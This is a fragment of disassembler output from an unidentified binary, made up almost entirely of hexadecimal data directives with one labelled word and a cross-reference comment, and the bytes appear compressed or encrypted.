		dd 41BB4052h, 17F5149h,	0EFBDF94Ah, 1F8C1AACh, 4B034B1Ch
		dd 0DF82E131h, 0F42B0C83h, 80269B5h, 325C18C1h,	7043DBE9h
		dd 0A34A95E8h, 31C82102h, 0C064933Dh, 950F21BDh, 89763CCEh
		dd 5C20CD27h, 0A55E71A8h, 40B7D760h, 0CDDCBC00h, 0E0C28BF5h
		dd 0AA014AB4h, 985E126Ah, 0FE038B10h, 15BA2DF1h, 575BBAACh
		dd 161957E0h, 0D39C681h, 0E3059D12h, 185AD632h,	10AC5689h
		dd 0D4E91214h, 601BE0h,	0C2CAE2BFh, 1936B930h, 610FBE12h
		dd 27D708B0h, 115D937Eh, 8BF8FC81h, 4DCD97C1h, 17549BC1h
		dd 4AC12960h, 0CB3DB931h
		dd 0F6C4D550h, 0E172E895h, 0F7950054h, 539BFB40h, 23EA6837h
		dd 2F61E9F1h, 0B11089F9h, 76D4C08h, 10416A88h, 0E47D4D3Bh
		dd 3358AF33h, 9E08FDAEh, 72786F20h, 62A02B29h, 234EEBFFh
		dd 0C7F081A6h, 0C63ABFF8h, 5C09AD5Eh, 90DF4243h, 42251E7Ch
		dd 0DF3277D9h, 0B98A53F6h, 60174F1Bh, 2AD2F51Eh, 0C3F8CFAh
		dd 0F109A172h, 5961C293h, 0BD2982DFh, 38D712CDh, 90D1FF78h
		dd 0A3BA1803h, 32755609h, 282B6181h, 6FBF6BACh,	57E960FFh
		dd 31155222h, 25B6019Dh, 3EAA568Bh, 0B7EB8181h,	716E5FA1h
		dd 0F6FD2BE5h, 8E0B16E8h, 56F99B09h, 8AF55351h,	0BF660A3Eh
		dd 9709A4FEh, 628F590Ch, 209EC09h, 5C0739E5h, 9BB3C007h
		dd 0BA00D2EBh, 5FF4B5A4h, 0BC3F92h, 9D54A913h, 929B74Ah
		dd 73159534h, 0A56FE6BFh, 0D7C12672h, 2BF9BEB1h, 9BBF8034h
		dd 3773C036h, 4C0B1408h, 994A4EB2h, 0D9708261h,	8104870Fh
		dd 0AD7DBF09h, 0A068372Bh, 6AD52FBBh, 80E638F7h, 0A8E747BEh
		dd 5C540362h, 0F51E9EBBh, 9A2E8290h, 357E4509h,	91F28244h
		dd 25BAD232h, 0B9FF0825h, 1F141D1Ah, 252F10C7h,	79B160B0h
		dd 616C0BBCh, 8275E6F9h, 22AE5DFh, 954671E4h, 0AE536402h
		dd 56D79868h, 62F19155h, 106597Ah, 0CEA18D31h, 50595009h
		dd 276022BAh, 2E6A9533h, 34F11941h, 297519Ch, 5596FE4Ch
		dd 204E816Bh, 888928A8h, 2B34B0D5h, 0D2519DC8h,	43E5A00h
		dd 27A76Bh, 5E1D0372h, 28A48F51h, 5CD18B2Fh, 0F8FAC06Eh
		dd 11D692E9h, 0C5BAB116h, 4876B346h, 59592F71h,	4C440E0Ch
		dd 14705F29h, 0D687F712h, 8D7E45B1h, 1EDBF46Dh,	1FB4021Bh
		dd 0CB12021Eh, 27CA6C92h, 15914E56h, 8B47BB00h,	4AE97056h
		dd 88BB15D6h, 263F73BDh, 662AA5E5h, 8531095Bh, 0B1D51D4Dh
		dd 4152A05h, 0ADFED228h, 3353815Bh, 572831BDh, 40EEFC4Bh
		dd 8A4B0F69h, 0A9B48EACh, 6DC48463h, 0EA0B1412h, 0A745AF97h
		dd 8BFF0211h, 28DA5EFDh, 0B9F8E081h, 0BB122FCAh, 444DC8h
		dd 5CC4DE68h, 7185A0Bh,	8B8EC809h, 0D1EB814Dh, 206A5F6Dh
		dd 13ACDD03h, 0E187D900h, 0F89E4D5Eh, 5D95A260h, 0F697BA6Ch
		dd 31FB9DDDh, 6A1021CAh, 14C817CFh, 0F733E4C2h,	0D22B4D90h
		dd 0F029522Eh, 5B252710h, 23E03FFFh, 0EEE19699h, 95FB8FD8h
		dd 92983692h, 8300A079h, 0B5D14238h, 0B65F51Fh,	33D67D9Ch
		dd 0CBC0E354h, 46422780h, 24FC4467h, 0AB1C9795h, 79E2258Bh
		dd 0DA4AD6DAh, 6E2717CAh, 75AF4BF3h, 762D23B8h,	0BB57C813h
		dd 55F90DC2h, 1D64EC4Dh, 0CB198860h, 787F3F1Dh,	8FBB1B44h
		dd 0ADA831D5h, 0E81A009Ch, 27C63317h, 89B32B3Bh, 55DEB536h
		dd 81BF03B0h, 3187A34Ch, 0E1FFDDF9h, 25C5D5ECh,	44652EFAh
		dd 0A6D76810h, 0A7BAA4B8h, 458A4ABEh, 0D77B5227h, 0E623FD8h
		dd 9BE38091h, 0B22C127Eh, 93EB8E63h, 0C09ED59Eh, 4FDCB670h
		dd 9825A1E0h, 2DD046E6h, 404A8529h, 66A7FAD1h, 0EFBF040Ch
		dd 0BA6B36D5h, 3090451Ch, 81EFF44Fh, 883A0C45h,	4502BDC2h
		dd 0FDFA1D87h, 54F40A6h, 3C5B952Eh, 941C304h, 2B015A21h
		dd 0C1A089E7h, 0AC2C73B6h, 5A2D2BC9h, 806009CCh, 0B155EADAh
		dd 0F87A8582h, 9A612F14h, 0C4CEDF96h, 3DF935B7h, 0DF0AD380h
		dd 609085B7h, 56537390h, 7A43008Bh, 0FF9E2AF4h,	0A85B5B1Eh
		dd 22BA5F57h, 0D1D46AEFh, 177904DEh, 407E3A8Ah,	0F00A2A68h
		dd 2B5BEE2h, 1D2EF9D5h,	0D30045Dh, 0E478A6AFh, 0A60042B6h
		dd 42630E6Eh, 7F28B21Ah, 714FC035h, 558049FFh, 4155CF5Fh
		dd 2AC67FEDh, 7EF281C4h, 30C6B00h, 6705B597h, 0A68B4900h
		dd 0B98452F3h, 0B2575B8Dh, 0E996B73Dh, 0D85B9D14h, 4B6977D2h
		dd 8F242BF2h
		db 0EFh, 0E6h
word_505446	dw 0E037h		; DATA XREF: ___:off_4274D8o
		dd 4A4B0675h, 6E81CD5Dh, 9532F3F0h, 0FC6BAD59h,	1D00D4EFh
		dd 5829BEB8h, 95DDDFC7h, 2A16F761h, 33490C8Bh, 6B3D55ACh
		dd 0AA350BF6h, 342B8AC4h, 0ED3C522Dh, 62F0A67Fh, 5E2DF91Ch
		dd 1F40E90Bh, 37B70446h, 8C610BB0h, 0AD82B0B2h,	960419A9h
		dd 3DC188EBh, 69E6280Eh, 4496508h, 6020CCBFh, 60F48A25h
		dd 930BF03h, 964EA12Ah,	238209B7h, 4637A8C2h, 49D20049h
		dd 348F6148h, 0FDEA26A7h, 0C55DB12h, 0EB6DB7B1h, 4B1DD5ECh
		dd 1841BFAh, 6DFDA585h,	7B72CE5Fh, 27C94AA0h, 4F41F400h
		dd 9A16C87Fh, 2F5905DDh, 0BFF8B333h, 5D57F4C2h,	0FED5271Bh
		dd 0E47BFBDDh, 8B69C9C8h, 3865DC9Dh, 0B92BBB02h, 96905ACEh
		dd 9A09F4BFh, 595852E9h, 1900BEFDh, 9033460Dh, 8F9862B7h
		dd 15712290h, 0BB405899h, 475710Fh, 0DF806163h,	0CCE7BF4Dh
		dd 85D5ADA5h, 37C242B8h, 598C56A3h, 0A4C41423h,	0BBF7EFh
		dd 0B339C56Dh, 52D4F6h,	9936B4CFh, 26E23D2Bh, 0E9C8B65Fh
		dd 8759FE80h, 0E16D955Eh, 3C060CC0h, 0CB640039h, 0D7805798h
		dd 37955BBCh, 0EF600724h, 0AC680466h, 7DBEA2B5h, 0E0D0A773h
		dd 0CA763B1Fh, 0A2BE125Ah, 558DCDA4h, 616B3021h, 7F7DC599h
		dd 1AC8F29Ah, 0CD6F80CFh, 12693C56h, 0B3F98A36h, 0BD244AA4h
		dd 0F1FBBAC0h, 0AF90020h, 9373CB3Dh, 0BD0147E4h, 7A356C38h
		dd 0A62ACDF6h, 3216B2EAh, 75BE427Dh, 1950230h, 5BA71D4Ah
		dd 5BFE0B25h, 8B579640h, 66D19FF8h, 0C7808B3Ch,	0D39021Bh
		dd 79E57F0Ah, 17A99412h, 2016AD7h, 8E4E7A5Dh, 25467571h
		dd 0D7850CC9h, 2F8970A8h, 196281EFh, 0CFF3576Eh, 0B2DB52h
		dd 0F9F00803h, 7A0039BAh, 66FA4DE2h, 0BD539BBBh, 0AA302404h
		dd 0C2FF1F74h, 87560A17h, 9D1AF5EBh, 973D17Dh, 48556160h
		dd 860D8549h, 0E92FD1B0h, 580E5423h, 148518F1h,	0DA55E757h
		dd 2BF5E201h, 0D349FD2Fh, 0F57D99EBh, 0DBA22A13h, 9DF8CBB8h
		dd 3F2FD502h, 7E524773h, 91F10FBh, 7150965Fh, 181500F1h
		dd 66D839C8h, 21D6AB00h, 0AFDA7364h, 4F3F06DBh,	36C99D8Dh
		dd 9AB7BFh, 0E4CAB0D4h,	0A47FAB5Ch, 92516924h, 0E38209C5h
		dd 1303D203h, 0FC266D8Dh, 1CE1B154h, 41F3DD3Fh,	2A729A04h
		dd 0B776BD28h, 660014Fh, 0B46DC1Fh, 0A98E76ABh,	0A481C2F0h
		dd 0D167AD35h, 39D9107Eh, 0B243E0E9h, 0C294CFh,	5FE19663h
		dd 0F02A8E79h, 1B91EB13h, 0E6FF64ABh, 0CA2DA010h, 5AA8735Fh
		dd 0A913EB4Ch, 5B8FBE09h, 96012F7h, 255005E0h, 614AA3F4h
		dd 47436AAAh, 0A69D2CE7h, 0B17D9900h, 5FE4689h,	226CDF81h
		dd 0CC64AA4Ch, 730FF4E2h, 4103EF49h, 7602B06Ah,	0F9891A43h
		dd 3A35D531h, 7D801C91h, 3202B0FCh, 0AD684909h,	441C591Dh
		dd 5560493Bh, 61519A64h, 2342ADEh, 27B5F009h, 0D509C6BEh
		dd 0BBC500CDh, 5F0EE6BFh, 3FAF975h, 0FFF44B82h,	0C1C2F88Bh
		dd 4FB3757h, 0B8D29D2Ch, 0E1038196h, 10F80782h,	0D1AE3FDAh
		dd 0A4E4432Fh, 0CF4FF4BDh, 0EF51D1E9h, 8F0F9085h, 0ABFE28ABh
		dd 3E0E11FCh, 82936DF1h, 4828C903h, 90FB8B83h, 43199482h
		dd 0A9B86C1Dh, 1B018763h, 2C83F419h, 50D6346Eh,	19F34A15h
		dd 7C85708Ah, 8E3CC448h, 0D31C42FFh, 0EFDF15E5h, 96414FAFh
		dd 8497E74Ch, 23FA65E4h, 170C6FFFh, 41EB9B6Eh, 0EBB41275h
		dd 8EB09D05h, 490662E5h, 496D11B4h, 0EE89F82Fh,	0FF709BFBh
		dd 0DFD1BF03h, 0E9F38086h, 4A93904Ch, 4FB0A215h, 132F8CE8h
		dd 35A7F9E5h, 0AEBA0552h, 59A2FEF1h, 7F61F14Fh,	8862B6CAh
		dd 56090C69h, 5CAA0B6Bh, 0F6D17404h, 0E288E1CBh, 4AC8C460h
		dd 225FCAF5h, 0BE8AEC72h, 6AD961BFh, 56E3A02h, 0EBFE6616h
		dd 0BD03DF30h, 0E91A5E6Dh, 7A57C0DEh, 0EE02590h, 562EBF27h
		dd 0FF5F3784h, 0F1C249DEh, 89FDF567h, 8BFCB0D9h, 6DE92FDEh
		dd 6F12F5E7h, 0CA7A6316h, 8561CF16h, 11D73079h,	0EB392BFFh
		dd 44037C02h, 156C18E9h, 0ACB8A40Eh, 5F278859h,	5070C1D3h
		dd 95587DE0h, 11FDF10h,	0B9595F0Bh, 281555C8h, 2F9E464Bh
		dd 0E6D6DD0Dh, 0C2FD9C7Eh, 0DAF7F0D7h, 0C9B04A5Dh, 0D17A6FCCh
		dd 4BDFC010h, 0BBE47EFCh, 1F4C636Eh, 0F912053Bh, 8608FEEAh
		dd 0A95E3C1Dh, 1EDAD23Dh, 0E8F2F580h, 0B6D7C0BFh, 6A32C1AFh
		dd 12F62AFFh, 0DB027BE0h, 0E341C017h, 15751305h, 878C9EEAh
		dd 0E7D02808h, 4B8CC55Bh, 0FE2F9812h, 1BD10E1h,	28988411h
		dd 0E07CCB03h, 8D6070E6h, 63B78DEEh, 80B00E0h, 0AE8E35E8h
		dd 9520127Dh, 0C67302ABh, 1BE1D2B7h, 0A1C2CEF3h, 2CA228CBh
		dd 8FF28101h, 4B3D0BE8h, 0B74A9261h, 97819510h,	9D6374FCh
		dd 475B4A5h, 161509B8h,	95310B02h, 0B20E761Dh, 0FE09070Ch
		dd 0E2F78927h, 0C82BE700h, 519DBD33h, 0A0D11396h, 755FE940h
		dd 8300AE3h, 4C508521h,	74475531h, 892A14E9h, 37BD3066h
		dd 0E2AC41Bh, 9D981212h, 3F19B14Dh, 18122DCh, 1B5F0E3h
		dd 983EE966h, 0D90F917h, 18568A0Ah, 0F30FC548h,	17E1B269h
		dd 33C2133Ch, 8468219Dh, 45B5DC8Ah, 41DA101Eh, 0F9C1015Eh
		dd 1E8A6A13h, 407B8E10h, 8A2DD9D3h, 125E0ECh, 15AD259Dh
		dd 978310CEh, 55480C6h,	0EFFFB992h, 0A9BFF85h, 0ABD9BAD6h
		dd 4AC99130h, 9BF3C573h, 60DC043h, 2336993h, 8CF1AFD0h
		dd 0F34DFCF3h, 0A45521EEh, 0A3437DBEh, 2B0484B9h, 2D4E93C0h
		dd 0D1D21125h, 0D7818030h, 7C671518h, 0C41D1E97h, 0BB231140h
		dd 0B5F088F6h, 7E1D4D3Eh, 2FC2D68Dh, 7E890F7Dh,	9885445Ch
		dd 204E6199h, 54220849h, 0C2016B6Eh, 3D242DBDh,	701D206h
		dd 5FCE2AE8h, 0A90CF92Bh, 670C2467h, 0C56C60ABh, 70FF304Bh
		dd 2FD9DBCh, 0F37F6181h, 0B26BE97Bh, 5A814FCh, 8FDD79EBh
		dd 8C07FE96h, 7FD9B19Dh, 621927C7h, 9F2FB84Fh, 9FCC8080h
		dd 97649093h, 0C6491Ah,	0DDC84C00h, 0FF8BD08Fh,	0DC479CE1h
		dd 3F33A095h, 5F906041h, 0ECCC84EBh, 6FCA4ACAh,	8161D034h
		dd 2A2EFDAAh, 0D822968Eh, 0E9E75750h, 56666ABDh, 72D05235h
		dd 787CDBBFh, 4C4FFF5Ch, 7763E0C1h, 3D09EBD0h, 609716A8h
		dd 0C962AE52h, 57C9928Ch, 0CDB725D8h, 0BEA3C46Dh, 2FB31012h
		dd 4904A64Ch, 0B97F3CA4h, 0E63F2230h, 12312795h, 714914F9h
		dd 0BD0902A7h, 0B5C32E5h, 903BA1E8h, 5B132F05h,	7F0BC990h
		dd 0FA39E2A3h, 0ACF63B01h, 7A1ABFE2h, 6A90BB91h, 0B87DED2Eh
		dd 9E573CBh, 0F53B0884h, 0B6D0BD82h, 714BEDF9h,	3559004Eh
		dd 0E0E1B1C5h, 5B610BFCh, 0EF0FBF88h, 0F664D27Dh, 82F25317h
		dd 0CD5FD500h, 75197A46h, 7BA36E00h, 0F833712Eh, 0FC409DFh
		dd 85D88BA0h, 0D1A4E278h, 104007BEh, 4913BD18h,	3AE8FD78h
		dd 160BB071h, 77482112h, 3F9959Ah, 8989099Dh, 81B0570Ah
		dd 8B03B24Eh, 0A4349E31h, 0F0FAA13Fh, 0A747172Eh, 0F9C7B232h
		dd 0EE9E00F4h, 8A440664h, 17DA900h, 3E4D7E0Dh, 0C2080F15h
		dd 4507BE9h, 0F55BD31h,	0EAA474AAh, 0F9A38D12h,	0AAF9B712h
		dd 1923016Bh, 8D954A00h, 950996FBh, 0C156EDBAh,	1C480BD4h
		dd 6DD789C7h, 82D6E158h, 0BD203FB6h, 4AA02Ah, 0B0BCEE26h
		dd 0DCED1942h, 9BEC8C00h, 0DDC776B2h, 58FBBF64h, 0B96E5Ah
		dd 7F8F3240h, 920CAC08h, 4CFDDE5Fh, 1345B508h, 0FA5BCD2Ah
		dd 309B6113h, 3F9C1F80h, 0B4040BC6h, 0FCED4122h, 623767FFh
		dd 53F70801h, 0FE7A30B4h, 14035268h, 72B33FEDh,	0AD880F81h
		dd 0FB32F217h, 0BE020D6Eh
		dd 73687FAFh, 0E4E7FF8h, 17DFC6A9h, 2DAFCD8h, 0E9505A52h
		dd 6C8C2011h, 0CE0023C9h, 46997B04h, 3C38F98Eh,	688645E8h
		dd 0C660909Eh, 25BE08EFh, 5073DDEEh, 0B727F51Eh, 0C45D0422h
		dd 9009FB95h, 0DAE4FC26h, 6762166Dh, 102AF651h,	535B2520h
		dd 847F4B7Bh, 0BE122FC7h, 3AF983CEh, 0BA012BE3h, 0A683E6A2h
		dd 2A3EC53Bh, 1416DEBCh, 4B95E8B3h, 52653CFAh, 87425689h
		dd 9F2C580Dh, 3D985EC5h, 0DF812Bh, 68BB8B3Eh, 13D3A9BFh
		dd 0A462035Eh, 88CF200Bh, 420199AFh, 51F4B7A8h,	94B9E345h
		dd 1AFB1D2Fh, 272AF0A7h, 38FD02FDh, 25BD3392h, 4C6E14A5h
		dd 0D9222B7Ch, 8BFAC207h, 515557F2h, 615F00B2h,	6CC2BB50h
		dd 962A4C1Dh, 651294EEh, 0F65BA9C2h, 1446D658h,	0D98AE309h
		dd 4DA5725Bh, 6BFD4B1Dh, 0B2C9E0C8h, 0FA0D4ECCh, 0D465B563h
		dd 0A8366D39h, 8FC809DEh, 24822F15h, 66040FB5h,	4EA81FC4h
		dd 459D31C1h, 0E5400A1Ch, 0FA234E1Dh, 2DB9A035h, 829577A8h
		dd 5FB70F5Ch, 89AFDED1h, 96565163h, 3071C860h, 0FE796F02h
		dd 0FD892FD7h, 5F3B06DAh, 208D960Bh, 8896C3F8h,	6E00461Eh
		dd 6D7434EEh, 40CA298h,	50C3D1A8h, 80C3B86Ch, 4103F6C8h
		dd 0F99400FCh, 0CFACD916h, 5014BEEh, 0AA202C3Dh, 1F273C01h
		dd 86C0B158h, 0C8B1BAC1h, 17AE8800h, 0A5AC8F69h, 9FE605F6h
		dd 0FE5306CDh, 0A848D2Ah, 618281C5h, 84BE0402h,	52DBE551h
		dd 0D663F988h, 0CA51508Ah, 93AC88A6h, 50382DDEh, 51616F74h
		dd 0A62A5B5Fh, 3016B263h, 4609FABCh, 0FC1E870Fh, 0BE8FE4F2h
		dd 0E8D2A4F7h, 0BF1A2068h, 6D9D7A38h, 44CB3243h, 0F6B7FEh
		dd 23C1412Eh, 0B23EE046h, 0F7C89B25h, 0ACBE1980h, 74E2BD5h
		dd 0A5136ABh, 64FE8A25h, 0EA3CBAEh, 0A78F3755h,	0AE134B6Ch
		dd 0CDAF703Eh, 0B99141B8h, 97747F1Fh, 1D6598C1h, 1603D58h
		dd 0D99A07B9h, 6F880F0Ch, 9561702Ch, 4DD4BCFCh,	9A80431Bh
		dd 3E4C1F76h, 4B0E0613h, 3080D5FCh, 566BF5ADh, 0B1611200h
		dd 6C4275C5h, 0CB213927h, 849D9680h, 0FD8D2932h, 445FDBC9h
		dd 816B0044h, 0C1D2703Dh, 0A771EB4Eh, 0C24C231Fh, 41D9F541h
		dd 282B5A7Ah, 6BE198BFh, 0A201557Ah, 55822F22h,	0D8757FF8h
		dd 0D2C2DABBh, 0A6BF5D34h, 0FB8B8120h, 5C5BC65Bh, 1C62C0CFh
		dd 1AF4BEE3h, 2D593B40h, 0DF0E0152h, 7587AD1Ah,	9A41600Ch
		dd 111E6200h, 88DB2FBBh, 4FF69F7Ah, 460AEF6h, 1A21F447h
		dd 49DE88Bh, 15E96193h,	0E04E3FB8h, 91B40D39h, 0D7E5DE9Fh
		dd 1AFAA033h, 6CB6C124h, 5494BEE4h, 0B1973C1h, 312B9C2Ah
		dd 236235F8h, 5FD59D67h, 5B774564h, 8B6C382Fh, 704B7BEBh
		dd 18976AB7h, 0B7FC4A68h, 0D46B27F1h, 3501DE3Ch, 0B85F5A70h
		dd 932CFAD0h, 16F4B25Fh, 45B62409h, 0E75754F0h,	20E559BFh
		dd 1EA92D8Fh, 48A078A2h, 43B405Ch, 5AF8CC10h, 0EDD3F1E8h
		dd 0EB77C0BEh, 3719CE9Eh, 0F49EEE61h, 244C21Ch,	0AA5BBC2Ch
		dd 46B7h, 0F3C6F7EBh, 366A9772h, 83790777h, 16067777h
		dd 32D10914h, 64CF95E4h, 5956D041h, 3E6C03Fh, 0AEB5E9BDh
		dd 2EA5C4B9h, 0E3D671B9h, 86BB02BCh, 0FF074F40h, 0BA6878EDh
		dd 1DA3F8E1h, 14E3E93Eh, 17B6D1FFh, 24B765B9h, 0FA13EB5Ah
		dd 0B6E463F9h, 0C8AEA494h, 0BA0586FDh, 26A30B0h, 27838FBCh
		dd 73C8A3A7h, 0F3BF5238h, 7FB342B4h, 21ACB213h,	2E336090h
		dd 8904F2FDh, 0F137995h, 0DF29C961h, 0F49F74E4h, 7B9FD460h
		dd 2D0881A6h, 2F2CF380h, 0DD89B6F6h, 61CD9509h,	8A35FCE0h
		dd 88D0250h, 0F53BB9AAh, 4DC41BE0h, 6139CE17h, 16AC03FDh
		dd 0E3FC168Ch, 0AB51D4DEh, 0BB96C21h, 0CF24FD2Bh, 2BCDA489h
		dd 4A78CBFFh, 0C2A13890h, 5CDA252Eh, 95AE94F7h,	1B91E635h
		dd 1780BF96h, 1628DB2Ah, 6FFF6AC4h, 7664259Fh, 29DD2DAFh
		dd 1C4CDFE2h, 0A37B0A45h, 77B029E1h, 213A2F00h,	6043E0h
		dd 0F2CC6942h, 0CE099B79h, 70E69226h, 817125h, 43BB71E4h
		dd 4C4A37DBh, 29D7AAD2h, 5CFDEAFDh, 6BA0869h, 0CAB53189h
		dd 0B9D2867Eh, 1D72BD8Dh, 0F29FEABAh, 0D1B5106Eh, 0D88BC00Ah
		dd 0EE81C82Bh, 0C3791E56h, 0B3D18C75h, 67D697E6h, 0B000B1F2h
		dd 7B15836Bh, 840EB6A8h, 219813DDh, 654353E7h, 38B7C920h
		dd 63DC5FF8h, 174E491Ch, 2E2FB044h, 0EFBD9895h,	0F2661176h
		dd 4365E7Eh, 0E7CA9DBCh, 18FE7BD7h, 48E9B666h, 2FFB08A9h
		dd 0D2219F6h, 30AB0A5Fh, 4E6944F9h, 0FE67C325h,	0BD0BD020h
		dd 6918D121h, 44952C69h, 9F04AA6Ch, 0CAAD9D10h,	2B8B2387h
		dd 97DE71DCh, 0A794F379h, 1CE91786h, 6A2398FBh,	0B2126C9Fh
		dd 0B6114A6Fh, 3018F208h, 9E028AE3h, 0D8B91C5Fh, 7931770Fh
		dd 52E62FECh, 0CFFC2200h, 4B40A73Eh, 0B4D8C709h, 3F007059h
		dd 37DDDD8Ah, 1F507BBDh, 0DB542DCAh, 94F99320h,	87F6BAF0h
		dd 0BA8C62E0h, 31005E76h, 1AB1A55h, 801F4DB5h, 6D9FD22Bh
		dd 7037C0EEh, 0C7172D6Ch, 0FB09CBDAh, 95D75033h, 605F259Eh
		dd 8D0882BDh, 61170A69h, 0CBDBC8h, 3FCC0419h, 0F9568236h
		dd 1C205B4Fh, 0E0AD7Dh,	5533BCDFh, 5428CBD4h, 2FA3C201h
		dd 93759CDDh, 0C416242Eh, 8E581DEDh, 0AD12178Bh, 0C8C80FBh
		dd 0B3B9F2h, 81F60676h,	0FC7C02E2h, 0AEFCA8EAh,	89FC5F4Fh
		dd 1E8F16AAh, 140BF4BCh, 0FA185706h, 8502FEB7h,	0A0D618A3h
		dd 7CDB775Bh, 72EB21BCh, 0C2618B41h, 250D3DDDh,	0F51224D4h
		dd 28EEB617h, 0BE013354h, 0D0A2F472h, 0AE2B9504h, 4B2EFB28h
		dd 25428A90h, 0F60BDE9Bh, 0E7820101h, 0DB99C63Dh, 2C09D4Ch
		dd 0B7341FAEh, 904AF660h, 407BDFDh, 8C07D0BBh, 0B1002B34h
		dd 3E5FB06Fh, 57BAB7h, 3C121FDh, 61685D3Ah, 5F6AF5Fh, 523017B2h
		dd 923002EEh, 32958D89h, 10EEF257h, 0F20CF99Dh,	2E3DD5AEh
		dd 0BF463D80h, 2528E3E5h, 147F503Fh, 4982FEBh, 0EAD0D9FBh
		dd 10A7050Eh, 0BFAABD99h, 78AD9A8Ch, 40F40031h,	993B2CDEh
		dd 60F49586h, 392EA072h, 30602C80h, 5CAD982Eh, 0DA00108Dh
		dd 6C23877Bh, 4525C976h, 0C866755Fh, 0E1E69495h, 8531C582h
		dd 0A946171Dh, 434BE826h, 0BDE0FA92h, 0E18027F8h, 7B800FF1h
		dd 0A47A9329h, 7D0B1275h, 65A4E4BBh, 403D5795h,	381C0B01h
		dd 7160DE35h, 0BF144041h, 0C7020C09h, 0A66FFF42h, 0E576A0E1h
		dd 2BF1E184h, 6109B495h, 93F16E95h, 0A2EB58F8h,	0DE2F2D71h
		dd 59887FF7h, 3ADF04ABh, 4B50F8A4h, 340B8Ch, 536AE2D9h
		dd 0B9719414h, 259E7001h, 8A50AAAEh, 0DC2E90FDh, 0D13C776Fh
		dd 6FBBDB09h, 94AD0AAAh, 5961E7F9h, 0C06EFE70h,	0C5566450h
		dd 82EF803Bh, 0C16B9C68h, 23D14Eh, 613E81FAh, 80002725h
		dd 432EFDB2h, 12EE1A56h, 0B05FDE8Bh, 68776352h,	9EA34E4Eh
		dd 993A0F4Eh, 0B73FD3E0h, 0EC07E105h, 110B099Eh, 8A129437h
		dd 0C91656CAh, 1E160BF4h, 1CBC6CA9h, 7DF0018Ch,	6D9072C2h
		dd 0B2EC0FCh, 0FB99D18h, 92D1E960h, 40BF3F60h, 0FF255A12h
		dd 0E1AEE675h, 47CA3F75h, 64884EA0h, 58072802h,	0EEACE6C5h
		dd 259D12E4h, 0C4F0AD03h, 0B3FF33B3h, 60AA0468h, 0A812771Ah
		dd 0C0EF9225h, 9335F7ECh, 0D607C602h, 4C3818A5h, 24F895A3h
		dd 9520A922h, 0C77C8289h, 0D9D4BFDCh, 0E58B7D4Bh, 0F8A538D9h
		dd 0D50EA292h, 36EC26CDh, 84A14B83h, 649EBF9Fh,	0A05F52C0h
		dd 51C7269h, 38A6F57Eh,	21BA03Eh, 4A0E6D68h, 7E5C608Eh
		dd 0A3C0404Fh
		dd 3C96D125h, 0BA1C6E97h, 0FCE64055h, 619C57D3h, 92A6E095h
		dd 71D425F5h, 1DC3D0EDh, 827FF242h, 55958991h, 0F49DEAD8h
		dd 1570D48Bh, 53308E1h,	0FB8B90D0h, 7AB3BA50h, 6C62F93Eh
		dd 6CF72399h, 67B51254h, 937BA379h, 0D47F14EEh,	0A1DAB75Ah
		dd 2C388D6Eh, 0EF61D80h, 6D0059FBh, 0BBFD812Bh,	3E4D5419h
		dd 51D9E3ACh, 5B852801h, 3A9D0361h, 0F74F7AECh,	301DB278h
		dd 6900E82Ch, 5E36F3CAh, 416E434h, 96579FBBh, 0A26EB81Ch
		dd 0D8F8F35Bh, 0A70264D5h, 0B589CF16h, 93EEFEBDh, 945EE8Dh
		dd 9CB945E9h, 0CF3EC5ECh, 8D6F9361h, 1D9DE3D0h,	0D447B52Eh
		dd 4E359D7Ch, 8D1CEE05h, 55E0CDB6h, 6609AF6Dh, 0DF5B79BBh
		dd 1497C146h, 4B8A4585h, 1B7D310Fh, 0B93FFFB3h,	4AFC58h
		dd 145A4F76h, 6A25925Dh, 0FAE78102h, 574979CFh,	565255FBh
		dd 0D652C209h, 68B9ED5Fh, 8B876223h, 1740C1FCh,	6A95276h
		dd 809BEA95h, 0EF62B6A6h, 0D53C8AEEh, 5369E24Dh, 0D2F42502h
		dd 0CA1796E5h, 838BBB5Dh, 7436E14h, 0E7FB9CBBh,	0E1A3105Ch
		dd 7026C22h, 0A8844ECh,	955BE650h, 9FAB94D7h, 3000F253h
		dd 5DC78196h, 10762A38h, 0C673B5F4h, 38ACE4D8h,	4454BF28h
		dd 3E6FFC15h, 0F6806D44h, 0F73543A3h, 4A05F9E0h, 63C6555h
		dd 23AB6BFFh, 8F7C0F19h, 76D9B022h, 0CE95054Ch,	8EDB166Ch
		dd 0D86BAA1Ah, 0C082172Eh, 0E226968Eh, 9402AB4h, 2D105Bh
		dd 6C9E99E3h, 38961863h, 0D92F9F1Fh, 56FF408Eh,	0EEA064FFh
		dd 0DC8A2F21h, 57C9493Ch, 7F539AF5h, 4654FCA9h,	548A03DCh
		dd 5C936E4h, 0C2E164BAh, 2D123051h, 12FEF15Ah, 252BEC37h
		dd 0ADA07315h, 0F4A0C70h, 290BA0E7h, 0E6448595h, 0DA40E296h
		dd 9D30A108h, 2BADBED8h, 4C6015C4h, 0BD5129C8h,	0A8E93B37h
		dd 46290CA9h, 0D380EA02h, 0FF5096DCh, 0F53E5A6Eh, 0F5B6566Bh
		dd 26B54180h, 13F1FC87h, 0C883019Bh, 92168FB7h,	40DFAE0Fh
		dd 9A679A41h, 8BF143F1h, 6167C5CCh, 0F26F2DC1h,	0CC6BD3DCh
		dd 0A6F3BA01h, 3A71C02Bh, 0E13C2B28h, 0A5CD7FC2h, 2B04F2EFh
		dd 3101022Dh, 2F19C19Dh, 71F6F2h, 0B9605049h, 39AAFB90h
		dd 9590617Dh, 7F354A9Dh, 0AAF89EDBh, 0D2020910h, 8AD5118Bh
		dd 5BA53BF9h, 181759CBh, 9AF31FEEh, 0E3CFC088h,	0B0F7039h
		dd 2D859D15h, 68B8935Eh, 1EDE6287h, 66ACFA60h, 2202F2B7h
		dd 0A5ED581Fh, 0A5E6DD6Dh, 5BEAB313h, 58A84EA2h, 0A17D0901h
		dd 321F7C13h, 46F19E6Ah, 0A866B084h, 88634FFBh,	74002C6Ah
		dd 26ABD6E5h, 17F98DBFh, 0C45F4F94h, 0FE77AB73h, 0E9740774h
		dd 0B584A8E7h, 9504F147h, 0E9042EFDh, 0D4C1BF3Bh, 0EC3CE4B7h
		dd 0C1851D32h, 8DDF35Fh, 56122425h, 4E79F730h, 160900D3h
		dd 0E4812029h, 0E300D48Dh, 4CB1F676h, 25CD2288h, 0B6FE5BEBh
		dd 0D4EE5CEBh, 8AB676BFh, 0B2935C18h, 46050DDh,	819596BCh
		dd 25BD2383h, 0FD47EC3Fh, 12E2602Ah, 0E7739C67h, 6977DB0Bh
		dd 0D002D32Fh, 650A7B30h, 85D66382h, 241A4004h,	0F55FD2ECh
